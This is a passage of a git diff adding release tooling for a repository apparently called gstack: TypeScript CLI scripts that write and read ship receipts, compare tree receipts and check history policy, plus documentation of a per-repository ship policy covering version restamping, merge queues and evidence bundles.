(!branch) { verdict = 'HISTORY: merge-only (detached HEAD; no pushed branch to compare)'; }+ else {+ const remote = spawnSync('git', ['rev-parse', '--verify', '--quiet', `refs/remotes/origin/${branch}`], { cwd: root, encoding: 'utf8', timeout: 15_000 });+ if (remote.status !== 0) verdict = `HISTORY: merge-only (origin/${branch} not pushed yet; nothing to rewrite)`;+ else {+ const anc = spawnSync('git', ['merge-base', '--is-ancestor', remote.stdout.trim(), 'HEAD'], { cwd: root, timeout: 15_000 });+ result.remote = remote.stdout.trim();+ if (anc.status === 0) verdict = `HISTORY: ok (merge-only; origin/${branch} is an ancestor of HEAD)`;+ else {+ verdict = `HISTORY: rewritten (origin/${branch} ${remote.stdout.trim().slice(0, 12)} is not an ancestor of HEAD) — fix: ${'merge origin/<base> instead of rebasing or squashing; never force-push under history: merge-only'} (HISTORY_POLICY_VIOLATION)`;+ code = EXIT.fail;+ }+ }+ }+ result.ok = code === EXIT.ok;+ result.verdict = verdict;+ process.stdout.write(json ? JSON.stringify(result) + '\n' : verdict + '\n');+ return code;+ }++ return usage(`unknown command ${cmd}`);+}++process.exitCode = main(process.argv.slice(2));diff --git a/bin/gstack-ship-receipt b/bin/gstack-ship-receiptnew file mode 100755index 000000000..73932c6a2--- /dev/null+++ b/bin/gstack-ship-receipt@@ -0,0 +1,174 @@+#!/usr/bin/env bun+/**+ * gstack-ship-receipt — the handoff record, identifiers first (plan C5).+ *+ * gstack-ship-receipt write [--pr <n>] [--head <sha>] [--base <ref>] [--version <X>] [--gated-tree <sha>]+ * [--predecessor <sha>] [--gate <json|@file>] [--ci <json|@file>] [--spend-usd <n>]+ * [--session-kind <k>] [--artifacts-consumed <n>/<m>] [--run <id>] [--thread <id>]+ * [--receipt <tree-receipt.json>] [--policy <label>] [--preregistration <text>] [--history <text>]+ * [--out <file>] [--body <pr-body.md>] [--json]+ * gstack-ship-receipt read --pr <n> [--repo <owner/repo>] [--json]+ * gstack-ship-receipt read --body <file> [--json]+ * gstack-ship-receipt census --repo <owner/repo> --since <tag|YYYY-MM-DD> [--cohort <file>] [--limit <n>] [--json]+ *+ * `write` validates against `gstack-artifact schema ship-receipt`, prints the+ * fenced block (and SHIP_RECEIPT: <identifiers> on stderr), writes it to --out,+ * and with --body makes it the first section of that PR body file.+ * Query commands: no GSTACK_RESULT line. Logic: lib/ship-receipt.ts.+ */+import { spawnSync } from 'node:child_process';+import * as fs from 'node:fs';+import * as path from 'node:path';+import { EXIT, exitTableHelp, type ShipReceipt } from '../lib/headless-artifacts';+import { resultLine } from '../lib/result-codes';+import { versionAtRef } from '../lib/restamp';+import { resolveBaseBranch } from '../lib/ship-policy';+import {+ computeCensus, extractReceipt, orderReceipt, placeReceiptFirst, receiptSummaryLine, renderCensus, renderReceiptBlock, validateReceipt,+ type CensusPr,+} from '../lib/ship-receipt';++const HELP = `gstack-ship-receipt — the \`\`\`gstack-ship-receipt\`\`\` block (docs/ship-policy.md#ship-receipt)++ write [flags] compose, validate and print the block; --body <file> puts it first in that PR body+ read --pr <n> [--repo <r>] parse the block from the PR body through gh (RECEIPT_MISSING / RECEIPT_INVALID)+ read --body <file> parse the block from a file+ census --repo <r> --since <tag|date> [--cohort <file>]+ the P7 adoption number over merged PRs (deduplicated by run and thread)++write flags: --pr --head --base --version --gated-tree --predecessor --gate <json|@file> --ci <json|@file> --spend-usd+ --session-kind --artifacts-consumed <n>/<m> --run --thread --receipt <tree-receipt.json> --policy --preregistration+ --history --queue-mode --out <file> --body <pr-body.md>. Defaults: head=HEAD, base=origin/HEAD's branch, version=the+ version source at HEAD, session_kind=$GSTACK_SESSION_KIND (gstack-session-kind), tree/gate_reuse/gated_tree/predecessor+ from --receipt when given.+--json: JSON only on stdout.+${exitTableHelp()}`;++function flag(args: string[], name: string): string | undefined {+ const i = args.indexOf(name);+ return i >= 0 ? args[i + 1] : undefined;+}+function jsonArg(raw: string | undefined): Record<string, unknown> | undefined {+ if (raw === undefined) return undefined;+ const text = raw.startsWith('@') ? fs.readFileSync(raw.slice(1), 'utf8') : raw;+ const parsed = JSON.parse(text);+ if (!parsed || typeof parsed !== 'object' || Array.isArray(parsed)) throw new Error('expected a JSON object');+ return parsed;+}+function git(args: string[], cwd?: string): string | undefined {+ const r = spawnSync('git', args, { cwd, encoding: 'utf8', timeout: 30_000 });+ return r.status === 0 ? r.stdout.trim() : undefined;+}+function gh(args: string[]): { ok: boolean; out: string; err: string } {+ const r = spawnSync('gh', args, { encoding: 'utf8', timeout: 120_000, maxBuffer: 64 * 1024 * 1024 });+ return { ok: r.status === 0, out: r.stdout ?? '', err: (r.stderr ?? '').trim() };+}++function cmdWrite(rest: string[], json: boolean): number {+ const repoRoot = git(['rev-parse', '--show-toplevel']) ?? process.cwd();+ const head = flag(rest, '--head') ?? git(['rev-parse', 'HEAD'], repoRoot);+ if (!head) { process.stderr.write('gstack-ship-receipt write: --head is required outside a git repository\n'); return EXIT.usage; }+ const atHead = versionAtRef(repoRoot, head);+ const receiptFile = flag(rest, '--receipt');+ const tree = receiptFile ? JSON.parse(fs.readFileSync(receiptFile, 'utf8')) : null;+ let sessionKind = flag(rest, '--session-kind') ?? process.env.GSTACK_SESSION_KIND;+ if (!sessionKind) {+ const r = spawnSync(path.join(path.dirname(Bun.fileURLToPath(import.meta.url)), 'gstack-session-kind'), [], { encoding: 'utf8', timeout: 15_000 });+ sessionKind = r.status === 0 ? r.stdout.trim() || undefined : undefined;+ }+ let input: Partial<ShipReceipt>;+ try {+ input = {+ schema_version: 1, pr: flag(rest, '--pr') !== undefined ? Number(flag(rest, '--pr')) : undefined, head,+ version: flag(rest, '--version') ?? ('version' in atHead ? atHead.version : undefined), base: flag(rest, '--base') ?? resolveBaseBranch(repoRoot),+ gated_tree: flag(rest, '--gated-tree') ?? tree?.gated_tree, predecessor: flag(rest, '--predecessor') ?? tree?.predecessor?.recorded_head ?? undefined,+ tree: tree?.tree, gate_reuse: tree ? `${tree.gate_reuse} (${tree.gate_reuse_reason})` : undefined,+ gate: jsonArg(flag(rest, '--gate')), ci: jsonArg(flag(rest, '--ci')),+ spend_usd: flag(rest, '--spend-usd') !== undefined ? (Number.isFinite(Number(flag(rest, '--spend-usd'))) ? Number(flag(rest, '--spend-usd')) : flag(rest, '--spend-usd')) : undefined,+ session_kind: sessionKind, artifacts_consumed: flag(rest, '--artifacts-consumed'), run: flag(rest, '--run'), thread: flag(rest, '--thread'),+ policy: flag(rest, '--policy') ?? tree?.policy, queue_mode: flag(rest, '--queue-mode'), preregistration: flag(rest, '--preregistration'), history: flag(rest, '--history'),+ };+ } catch (e: any) { process.stderr.write(`gstack-ship-receipt write: ${e.message}\n`); return EXIT.usage; }+ if (input.pr !== undefined && !Number.isInteger(input.pr)) { process.stderr.write('gstack-ship-receipt write: --pr must be an integer\n'); return EXIT.usage; }+ const receipt = orderReceipt(input);+ const errors = validateReceipt(receipt);+ if (errors.length) {+ for (const e of errors) process.stderr.write(resultLine('gstack-ship-receipt write', 'RECEIPT_INVALID', `${e.message} at ${e.path}`) + '\n');+ process.stderr.write('gstack-ship-receipt write: nothing written\n');+ return EXIT.fail;+ }+ const block = renderReceiptBlock(receipt);+ const out = flag(rest, '--out');+ if (out) fs.writeFileSync(out, block);+ const body = flag(rest, '--body');+ if (body) fs.writeFileSync(body, placeReceiptFirst(fs.existsSync(body) ? fs.readFileSync(body, 'utf8') : '', receipt));+ process.stderr.write(receiptSummaryLine(receipt) + '\n');+ process.stdout.write(json ? JSON.stringify(receipt) + '\n' : block);+ return EXIT.ok;+}++function cmdRead(rest: string[], json: boolean): number {+ const bodyFile = flag(rest, '--body');+ const pr = flag(rest, '--pr');+ let body: string;+ if (bodyFile) body = fs.readFileSync(bodyFile, 'utf8');+ else if (pr) {+ const repo = flag(rest, '--repo');+ const r = gh(['pr', 'view', pr, ...(repo ? ['--repo', repo] : []), '--json', 'body']);+ if (!r.ok) { process.stderr.write(`gstack-ship-receipt read: gh pr view failed: ${r.err}\n`); return EXIT.fail; }+ try { body = JSON.parse(r.out).body ?? ''; } catch { process.stderr.write('gstack-ship-receipt read: gh returned no JSON body\n'); return EXIT.fail; }+ } else { process.stderr.write(`gstack-ship-receipt read: --pr <n> or --body <file> is required\n${HELP}\n`); return EXIT.usage; }+ const ex = extractReceipt(body);+ if (!ex.found) {+ process.stderr.write(resultLine('gstack-ship-receipt read', 'RECEIPT_MISSING', pr ? `PR #${pr}` : bodyFile!) + '\n');+ if (json) process.stdout.write(JSON.stringify({ found: false, errors: [] }) + '\n');+ return EXIT.fail;+ }+ if (ex.errors.length) {+ for (const e of ex.errors) process.stderr.write(resultLine('gstack-ship-receipt read', 'RECEIPT_INVALID', `${e.message} at ${e.path}`) + '\n');+ if (json) process.stdout.write(JSON.stringify({ found: true, valid: false, errors: ex.errors, raw: ex.raw }) + '\n');+ return EXIT.fail;+ }+ process.stderr.write(receiptSummaryLine(ex.receipt!) + '\n');+ process.stdout.write(json ? JSON.stringify(ex.receipt) + '\n' : renderReceiptBlock(ex.receipt!));+ return EXIT.ok;+}++function sinceDate(repo: string, since: string): string | undefined {+ if (/^\d{4}-\d{2}-\d{2}/.test(since)) return since.slice(0, 10);+ const local = git(['log', '-1', '--format=%cI', since]);+ if (local) return local.slice(0, 10);+ const r = gh(['api', `repos/${repo}/commits/${since}`, '--jq', '.commit.committer.date']);+ return r.ok && r.out.trim() ? r.out.trim().slice(0, 10) : undefined;+}++function cmdCensus(rest: string[], json: boolean): number {+ const repo = flag(rest, '--repo');+ const since = flag(rest, '--since');+ if (!repo || !since) { process.stderr.write(`gstack-ship-receipt census: --repo <owner/repo> and --since <tag|date> are required\n${HELP}\n`); return EXIT.usage; }+ const date = sinceDate(repo, since);+ if (!date) { process.stderr.write(`gstack-ship-receipt census: cannot resolve --since ${since} to a date (not a local tag, and gh could not read it)\n`); return EXIT.fail; }+ const limit = flag(rest, '--limit') ?? '500';+ const r = gh(['pr', 'list', '--repo', repo, '--state', 'merged', '--search', `merged:>=${date}`, '--limit', limit, '--json', 'number,body,mergedAt,title']);+ if (!r.ok) { process.stderr.write(`gstack-ship-receipt census: gh pr list failed: ${r.err}\n`); return EXIT.fail; }+ let prs: CensusPr[];+ try { prs = JSON.parse(r.out); } catch { process.stderr.write('gstack-ship-receipt census: gh returned no JSON\n'); return EXIT.fail; }+ const cohortFile = flag(rest, '--cohort');+ const cohort = cohortFile ? fs.readFileSync(cohortFile, 'utf8').split('\n').map(l => l.trim()).filter(l => l && !l.startsWith('#')) : null;+ const census = computeCensus(repo, date, prs, cohort);+ process.stdout.write(json ? JSON.stringify(census) + '\n' : renderCensus(census));+ return EXIT.ok;+}++function main(argv: string[]): number {+ const [cmd, ...rest] = argv;+ const json = rest.includes('--json');+ if (!cmd || cmd === '--help' || cmd === '-h' || cmd === 'help') { process.stdout.write(HELP + '\n'); return cmd ? EXIT.ok : EXIT.usage; }+ if (cmd === 'write') return cmdWrite(rest, json);+ if (cmd === 'read') return cmdRead(rest, json);+ if (cmd === 'census') return cmdCensus(rest, json);+ process.stderr.write(`gstack-ship-receipt: unknown command ${cmd}\n${HELP}\n`);+ return EXIT.usage;+}++process.exitCode = main(process.argv.slice(2));diff --git a/bin/gstack-tree-receipt b/bin/gstack-tree-receiptnew file mode 100755index 000000000..2adcdca06--- /dev/null+++ b/bin/gstack-tree-receipt@@ -0,0 +1,86 @@+#!/usr/bin/env bun+/**+ * gstack-tree-receipt — the tree-equality receipt (plan C3).+ *+ * gstack-tree-receipt --gated <sha> [--current <sha>] [--predecessor <sha>] [--predecessor-pr <n>] [--predecessor-ref <ref>]+ * gstack-tree-receipt --from .gstack/tmp/gate-ahead.json [--current <sha>]+ * [--base <branch>] [--policy-from base|head] [--bundle <evidence-bundle.json>] [--rerun-command <cmd>] [--json]+ *+ * Prints gated head, current head, both tree ids, the diff limited to stamp+ * files (classified hunk by hunk), the predecessor head the gate assumed,+ * each gate's reusability, `TREE: same-modulo-stamps | changed (<paths>)` and+ * `gate-reuse: eligible | not-eligible (<what>) — fix: ... (GATE_REUSE_NOT_ELIGIBLE)`.+ * Exit 0 when eligible, 1 otherwise, 2 usage, 3 when the policy is unreadable.+ * Logic: lib/tree-receipt.ts, lib/evidence-bundle.ts.+ */+import { spawnSync } from 'node:child_process';+import * as fs from 'node:fs';+import * as path from 'node:path';+import { EXIT, exitTableHelp } from '../lib/headless-artifacts';+import { GATE_AHEAD_REL } from '../lib/restamp';+import { resultLine } from '../lib/result-codes';+import { isUnavailable, loadPolicyFromBase, loadPolicyFromHead, policyUnavailableLine, resolveBaseBranch, type LoadedPolicy } from '../lib/ship-policy';+import { buildReceipt, fromGateAhead, renderReceipt } from '../lib/tree-receipt';++const HELP = `gstack-tree-receipt — tree equality modulo stamps, per-gate reuse (docs/ship-policy.md#tree-receipt)++ --gated <sha> the head the gate ran on (committed; fetch it first)+ --from <gate-ahead.json> read gated head, predecessor and PR from gstack-restamp --after's record (default ${GATE_AHEAD_REL} when present)+ --current <sha> the head to compare (default HEAD)+ --predecessor <sha> the predecessor head the gate assumed+ --predecessor-pr <n> check the predecessor PR's current head through gh (PREDECESSOR MOVED)+ --predecessor-ref <ref> check the predecessor's current head from a git ref (fetched)+ --bundle <file> gstack-evidence bundle produced on the gated head (the execution identity)+ --base <branch> base branch for the policy (default origin/HEAD, else main)+ --policy-from base|head reviewed base copy (default) or the unreviewed working tree+ --rerun-command <cmd> what the fix clause names for a rerun+ --json the receipt as one JSON object++${exitTableHelp()}`;++function flag(args: string[], name: string): string | undefined {+ const i = args.indexOf(name);+ return i >= 0 ? args[i + 1] : undefined;+}++function main(argv: string[]): number {+ if (argv.includes('--help') || argv.includes('-h')) { process.stdout.write(HELP + '\n'); return EXIT.ok; }+ const json = argv.includes('--json');+ const rootProbe = spawnSync('git', ['rev-parse', '--show-toplevel'], { encoding: 'utf8', timeout: 15_000 });+ if (rootProbe.status !== 0) { process.stderr.write('gstack-tree-receipt: not inside a git repository\n'); return EXIT.usage; }+ const repoRoot = rootProbe.stdout.trim();+ let gated = flag(argv, '--gated');+ let predecessor: { pr: string | null; recordedHead: string | null; ref?: string | null } | undefined;+ const from = flag(argv, '--from') ?? (!gated && fs.existsSync(path.join(repoRoot, GATE_AHEAD_REL)) ? path.join(repoRoot, GATE_AHEAD_REL) : undefined);+ if (from) {+ const rec = fromGateAhead(from);+ gated = gated ?? rec.gated_head;+ predecessor = { pr: rec.predecessor_pr, recordedHead: rec.predecessor_head };+ }+ if (!gated) { process.stderr.write(`gstack-tree-receipt: --gated <sha> or --from <gate-ahead.json> is required\n${HELP}\n`); return EXIT.usage; }+ const predSha = flag(argv, '--predecessor');+ const predPr = flag(argv, '--predecessor-pr');+ const predRef = flag(argv, '--predecessor-ref');+ if (predSha || predPr || predRef) predecessor = { pr: predPr ?? predecessor?.pr ?? null, recordedHead: predSha ?? predecessor?.recordedHead ?? null, ref: predRef ?? null };++ const policyFrom = flag(argv, '--policy-from') ?? 'base';+ let loaded: LoadedPolicy;+ if (policyFrom === 'head') loaded = loadPolicyFromHead(repoRoot);+ else {+ const base = resolveBaseBranch(repoRoot, flag(argv, '--base'));+ const l = loadPolicyFromBase(repoRoot, base);+ if (isUnavailable(l)) { process.stderr.write(policyUnavailableLine('gstack-tree-receipt', base, l.detail) + '\n'); return EXIT.refused; }+ loaded = l;+ }+ if (loaded.errors.length) { for (const e of loaded.errors) process.stderr.write(resultLine('gstack-tree-receipt', e.code, `${e.message} at ${e.path}`) + '\n'); return EXIT.refused; }++ const receipt = buildReceipt({+ repoRoot, gated, current: flag(argv, '--current'), policy: loaded.policy, policyLabel: loaded.source.kind === 'head' ? 'head (unreviewed)' : loaded.source.label,+ predecessor, bundlePath: flag(argv, '--bundle'), rerunCommand: flag(argv, '--rerun-command'),+ });+ if ('error' in receipt) { process.stderr.write(resultLine('gstack-tree-receipt', receipt.code, receipt.error) + '\n'); return EXIT.fail; }+ process.stdout.write(json ? JSON.stringify(receipt) + '\n' : renderReceipt(receipt));+ return receipt.gate_reuse === 'eligible' ? EXIT.ok : EXIT.fail;+}++process.exitCode = main(process.argv.slice(2));diff --git a/docs/ship-policy.md b/docs/ship-policy.mdnew file mode 100644index 000000000..fd8b76367--- /dev/null+++ b/docs/ship-policy.md@@ -0,0 +1,268 @@+# The repo ship policy: `.gstack/ship-policy.json`++`/ship` reads one machine-readable file per repository that says how releases+are stamped and merged: the bump level, the queue mode, the repo's own release+tool, the paths where version mentions are rewritten, the CHANGELOG, a paired+mirror, the history policy and the preregistered evals. Without the file+nothing changes: every key has a default that reproduces today's behavior.++The file is **read from the committed copy on the base branch**+(`origin/<base>`), never from the PR's working tree, so a PR cannot smuggle a+command into its own gate. **File presence never authorizes execution:**+`gstack-restamp` runs `release_tool` only under `/ship` or with+`--allow-repo-commands`; standalone it lists the commands and exits 3 with+`repo commands not executed (pass --allow-repo-commands)`. A PR that+introduces or changes the policy runs under the reviewed bootstrap path+(`--policy-from head --allow-repo-commands`) and its receipt says+`policy: head (unreviewed)`.++Tools: `gstack-ship-policy init|validate|show-effective|check-history`,+`gstack-restamp`, `gstack-tree-receipt`, `gstack-ship-receipt`,+`gstack-evidence bundle|ancestor`. They share the exit table (`0` ok, `1`+fail, `2` usage, `3` refused or needs a flag) and end every error line with a+code from [troubleshooting.md](troubleshooting.md#queue-aware-ship-policy-restamp-tree-receipt-ship-receipt).++<a id="schema-v1"></a>+## Schema v1++`gstack-ship-policy init` writes every key at its default; `init --explain`+prints this table. JSON carries no comments, so examples live in+`.gstack/ship-policy.example.json`. Unknown keys are errors.++| Key | Values | Default | Meaning |+|---|---|---|---|+| `bump` | `patch` \| `ask` | `ask` | `patch` skips the MINOR/MAJOR prompt in `/ship` Step 12 and `gstack-restamp --next` bumps PATCH; `ask` keeps the prompt. |+| `queue_mode` | `claim-at-open` \| `stamp-at-merge` | `claim-at-open` | See [stamp-at-merge](#stamp-at-merge). `claim-at-open` is today's queue (`gstack-next-version` claims a slot when the PR opens). |+| `release_tool` | command or `null` | `null` | The repo's own release command (`bun run release:restamp`). Runs in an isolated staging worktree under the [release-tool contract](#release-tool-contract). |+| `release_outputs` | globs | `[]` | Paths the release tool may write beyond the version files, lockfiles, CHANGELOG and `stamp_paths`. Anything else is `RESTAMP_OUTPUT_OUTSIDE_ALLOWED`. |+| `stamp_paths` | globs | `[]` | Where exact `(was X)`, `since: X` and `vX` mentions of the branch's tentative version are rewritten on a restamp. |+| `changelog` | path or `null` | `CHANGELOG.md` | Re-headed on a restamp: the PR's `## [Unreleased]` (or old-version) section moves to the top as `## [<version>] - <date>`. |+| `mirror` | relative path or `null` | `null` | A paired checkout to restamp identically (tier 2: validated and confined today, not yet run). |+| `history` | `merge-only` \| `squash-ok` | `squash-ok` | `merge-only` makes `/ship` refuse a squash or rebase plan; `gstack-ship-policy check-history` reports a rewritten branch (`HISTORY_POLICY_VIOLATION`). |+| `preregistration_shas` | commit ids | `[]` | Each must be an ancestor of HEAD before push: `gstack-evidence ancestor --from-policy`; the ship receipt records the result. |+| `stamp_sensitive_gates` | evidence labels | `[]` | Gates that read VERSION or generated bytes (gstack's own `tests` lane does, through the agents-digest freshness test). The tree receipt never marks them reusable. |+| `pr_count` | `{ default_pr_count, split_requires_owner }` | `{1, true}` | The PR-count row in plan reviews. |+| `maintainers` | GitHub logins | `[]` | Maintainer set for `/review` contributor mode; empty means repository push permission. |++Containment, checked by `validate` and again at write time: paths and globs are+repo-relative with no `..` segment, under 256 characters, at most 64 per list,+and a glob's regex expansion under 512 characters; `release_tool` is under 512+characters with no newline; a matched file that resolves through a symlink to+outside the repository is refused (`POLICY_CONTAINMENT`). A mirror may start+with `..` (a sibling checkout) but has no interior `..`; mirror writes are+confined to that directory.++## gstack's own files++gstack's policy (`.gstack/ship-policy.json`, the only tracked file under the+otherwise ignored `.gstack/`) keeps today's behavior and names the one release+tool `gstack-version-bump --regen-digest` used to hard-code:++```json+{+ "bump": "ask",+ "queue_mode": "claim-at-open",+ "release_tool": "bun scripts/gen-agents-digest.ts",+ "release_outputs": ["agents-digest/gstack-AGENTS.md"],+ "stamp_paths": [],+ "changelog": "CHANGELOG.md",+ "history": "squash-ok",+ "stamp_sensitive_gates": ["tests"]+}+```++`.gstack/ship-policy.example.json` shows every key set the way a serial-merge+repo with a release script, docs mentions and a mirror would set them.++```bash+gstack-ship-policy show-effective --base main # resolved values with the source of each+gstack-ship-policy validate # the working-tree file (what you are editing)+gstack-ship-policy init --explain # key meanings and defaults+```++<a id="ship"></a>+## What `/ship` reads from it++`/ship` Step 3 runs `show-effective --base <base>` and follows its `ship:` lines,+which carry the workflow consequences the skill prose would otherwise spell out:++| Line | Effect |+|---|---|+| `ship: history merge-only: …` | never rebase, squash or force-push; `check-history --plan <merge\|squash\|rebase>` refuses a rewrite plan (`HISTORY_POLICY_VIOLATION`, exit 3) |+| `ship: queue_mode stamp-at-merge: …` | Step 12 items 1–4 are replaced by `gstack-restamp --next --base <base> --pr <n> --expect-base <sha>` when the PR is next, `--after <predecessor-pr>` when it is not; the restamp's own `next:` line says what follows (NEW_VERSION, CHANGELOG entry text only, the merge's expected head) |+| `ship: gate-ahead: …` | with `.gstack/tmp/gate-ahead.json` present, Step 16 reuses only the lanes `gstack-tree-receipt … --json > .gstack/tmp/tree-receipt.json` marks reusable; stamp-sensitive and not-eligible lanes run live; `--force-gate <reason>` is the coordinator's call |+| `ship: bump patch: …` | Step 12 never asks for MINOR or MAJOR; PATCH or MICRO by size |+| `ship: preregistration: …` | `gstack-evidence ancestor --from-policy --base <base>` must print only `ANCESTOR: ok` before push |+| `ship: release_tool: …` | the command runs only inside `gstack-restamp` (staging worktree, outputs confined to `release_outputs`) |++The PR body's first section is the ship receipt (`gstack-ship-receipt write … --body`),+written by the pr-body section of `/ship` after the body is composed.++<a id="stamp-at-merge"></a>+## `queue_mode: stamp-at-merge`++Under `stamp-at-merge` nothing is claimed when a PR opens. The stamp happens+when the PR is next, from the base branch's version at that moment, through+the repo's own release tool, across every stamp location at once:++```bash+gstack-restamp --next --base main --allow-repo-commands --pr 42 \+ --expect-base <sha of origin/main the queue assumed> --expect-order 40,41,42+```++prints `ship, next in queue at <version>`, `STAMP_VERSION: <version>`, one+line per stage, the diff limited to stamp files, `MERGE_CONDITION: sha=<head>`+(pass it to the merge API's expected-head `sha` so a check-to-merge race is+rejected by the server) and the `GSTACK_RESULT:` line. `claims: ignored+(stamp-at-merge)` says the legacy claim reader was not consulted. When the base+or the order moved, the result is `QUEUE_STALE` (exit 3) with the exact+`recompute` command; nothing is written.++Stages, each journaled in `.gstack/tmp/restamp-journal.json`:++1. **version**: `gstack-version-bump write --version <X>` in the staging worktree (VERSION, the manifest, npm lockfiles).+2. **release_tool**: the policy command, under the contract below.+3. **changelog**: the PR's `[Unreleased]` or old-version section moves to the top under `<X>`, above its predecessor's entry. Duplicate headings (`CHANGELOG_DUPLICATE_HEADING`) and a top entry that is not `<X>` (`CHANGELOG_TOP_MISMATCH`) are errors.+4. **stamp_paths**: exact `(was X)`, `since: X` and `vX` rewrites within the declared globs. `X` is the branch's own tentative stamp (its VERSION when it moved past base), else `--was <X>`, else the version an unstamped branch would have taken next (`base + bump`); mentions of a version the base never released (not a CHANGELOG heading at base, not a tag) are rewritten too, so a queue reorder that moves the base under a branch still finds its `since:` fields. Only the repo's own version width counts, so a 3-digit dependency pin in a 4-digit repo is never a candidate.+5. **mirror**: tier 2; declared and validated, reported as not run.+6. **apply**: every changed file is written to the branch only after all stages validated, each against the fingerprinted preimage; a file edited meanwhile is `RESTAMP_CONFLICT` and the applied writes roll back (rollback refuses to overwrite a file whose bytes differ from the recorded postimage).++Idempotent: a second run with the same version is `noop`. `--dry-run` prints+the full diff and writes nothing (not even the journal). `--version <X>` stamps+exactly X; `--bump` overrides the level; `--queue-mode` overrides the policy.++### Gate-ahead: `--after <pr>`++A reorder is cheap only when the gate can run before the predecessor merges.+`gstack-restamp --after <pr> --predecessor-ref <ref>` merges HEAD and the+predecessor's head in a throwaway worktree (`.gstack/tmp/gate-ahead-worktree`),+resolving only version-file and CHANGELOG-ordering conflicts, stamps N+1+relative to the predecessor's version there, commits, and records+`.gstack/tmp/gate-ahead.json` (`predecessor_head`, `branch_head`,+`gated_head`, `gated_tree`, `version`, `evidence_branch_key`). The PR branch's+history is never touched, so squash-history PRs stay clean. The gate runs in+that worktree; `gstack-evidence bundle` there exports the evidence.++<a id="release-tool-contract"></a>+### The release-tool contract++The release tool runs in an isolated staging worktree seeded from the working+tree's content fingerprint (`gstack-wtree`), with the repo's ignored+`node_modules` linked in. Its outputs are enumerated: the version files,+lockfiles, the CHANGELOG, `stamp_paths` and `release_outputs`. A write outside+that set refuses the whole restamp before anything reaches the branch+(`RESTAMP_OUTPUT_OUTSIDE_ALLOWED`); a non-zero exit is+`RESTAMP_RELEASE_TOOL_FAILED`. Preimages and postimages of every write are+recorded in the journal. Pinning the command string does not freeze its+implementation (`bun run release:restamp` still runs the PR's package script),+so the receipt names the policy revision, the command, its working directory+and the trust scope (`policy: base origin/main@<sha>` or `head (unreviewed)`).++<a id="tree-receipt"></a>+## The tree receipt++```bash+gstack-tree-receipt --from .gstack/tmp/gate-ahead.json --predecessor-pr 41 --bundle evidence-bundle.json+gstack-tree-receipt --gated <sha> --current HEAD --json+```++Compares two **committed heads** (a working-tree fingerprint can name objects+unreachable once the gate VM is gone) and prints the gated and current heads,+both tree ids, the version pair, the predecessor the gate assumed, the diff+limited to stamp files, one line per file with its rule and verdict, one line+per gate, then two verdict lines:++```+TREE: same-modulo-stamps | changed (<residual paths>)+gate-reuse: eligible (reusable: tests; rerun: digest) | not-eligible (<what changed>) — fix: <rerun command> (GATE_REUSE_NOT_ELIGIBLE)+```++Hunks are classified per file type: the version file (old → new only), the+manifest (`version` key only), npm and bun lockfiles (root `version` keys+only, where `gstack-version-bump` writes; a dependency entry is `changed`),+the CHANGELOG (a heading move or re-heading, compared as an order-independent+multiset of entries), `stamp_paths` and `release_outputs` (every+removed/added pair must be an exact `(was X)` / `since: X` / `vX` rewrite with+X the gated version and the replacement the current one, so a dependency pin+that happens to equal the old version is `changed`). Any other byte is a change.++Equivalence is decided per gate. A lane in `stamp_sensitive_gates` always+`rerun`s; a verified lane is `reusable` only when the tree is same-modulo-stamps+and the execution identity in the bundle equals the current one: Bun and Node+versions, OS and arch, every lockfile's identity (root version normalized+away), the `.github/workflows` tree id, runtime pin files and+`package.json#engines`, and the runner image when either side knows it. Without+a bundle the identity is unknown and the receipt is `not-eligible`. When the+recorded predecessor head is no longer the predecessor PR's head (checked+through `--predecessor-ref` or `gh pr view --predecessor-pr`) the receipt+prints `PREDECESSOR MOVED <old> -> <new> — fix: gstack-restamp --after <pr>+again (RESTAMP_PREDECESSOR_MOVED)` and refuses `eligible`.++`/ship` Step 16 consults the receipt; when it says `eligible`, a repeated full+gate needs `--force-gate <reason>`, and the coordinator makes the call.++### The evidence bundle++`gstack-evidence` is machine-local by design, so the portable form is a bundle:++```bash+gstack-evidence bundle --out evidence-bundle.json --label tests --label e2e --require tests,e2e \+ --selection tests='bun run test' --run-url tests=https://github.com/.../actions/runs/1+```++A bundle binds to a committed head (`repo.commit`, `repo.tree`) and carries the+comparison material (version source, CHANGELOG path, `stamp_paths`,+`release_outputs`), the execution identity above, the required-lane manifest,+and per lane the command, `cmd_sha256`, exit, timestamp, executed selection,+run URL, log hash and whether it is `verified` (produced by the ledger on a+clean committed tree at this head) or not (dirty tree, other commit, or an+`--import`ed assertion). A fresh coordinator machine reads it with+`gstack-tree-receipt --bundle` after the gate VM is gone; the receipt refuses+reuse when the bundle was produced on another tree or lacks the identity+(`EVIDENCE_IDENTITY_UNKNOWN`).++<a id="ship-receipt"></a>+## The ship receipt++The handoff record is a fenced block, identifiers first, validated against+`gstack-artifact schema ship-receipt`:++````+```gstack-ship-receipt+{ "schema_version": 1, "pr": 42, "head": "<sha>", "version": "1.2.7.0", "base": "main",+ "gated_tree": "<tree>", "predecessor": "<sha>", "tree": "same-modulo-stamps",+ "gate_reuse": "eligible (reusable: tests; rerun: digest)", "gate": { "tests": { "pass": 10, "fail": 0, "skip": 1 } },+ "ci": { "checks": 3, "failed": 0 }, "spend_usd": 0.42, "session_kind": "unattended",+ "artifacts_consumed": "1/1", "run": "<run id>", "thread": "<thread id>", "policy": "base origin/main@<sha>" }+```+````++`gstack-ship-receipt write --pr <n> --receipt <tree-receipt.json> --gate '<json>' --ci '<json>' --body <pr-body.md>`+makes it the first section of the PR body (`/ship` Step 18) and prints+`SHIP_RECEIPT: pr=… head=… version=…` for the first line of the completion+message. `/land-and-deploy` reads it with `gstack-ship-receipt read --pr <n>+--json` (`RECEIPT_MISSING`, `RECEIPT_INVALID`).++### The adoption census (P7)++```bash+gstack-ship-receipt census --repo garrytan/gstack --since v1.91.70.0 --cohort threads.txt+```++reads merged PRs since the tag through `gh`, parses each receipt, deduplicates+by `run` and `thread`, and prints `CENSUS: … unattended=<n> consumed=<n>+adoption=<consumed threads>/<cohort> durable=yes`. The cohort file lists one+thread id per line (threads that never invoke gstack count in the+denominator); without it the denominator is the threads the receipts name.++## History policy and preregistration (C7)++Under `history: merge-only`, `/ship` refuses a squash or rebase plan and merges+the base branch instead: `gstack-ship-policy check-history --plan squash`+prints `HISTORY: refused (…) (HISTORY_POLICY_VIOLATION)` with exit 3, and+without `--plan` it prints `HISTORY: ok` or `HISTORY: rewritten …+(HISTORY_POLICY_VIOLATION)` (exit 1) when the pushed branch is no longer an+ancestor of HEAD. `gstack-evidence ancestor+--from-policy --base main` prints one `ANCESTOR: ok|missing <sha>` line per+`preregistration_shas` entry (`PREREGISTRATION_NOT_ANCESTOR`, exit 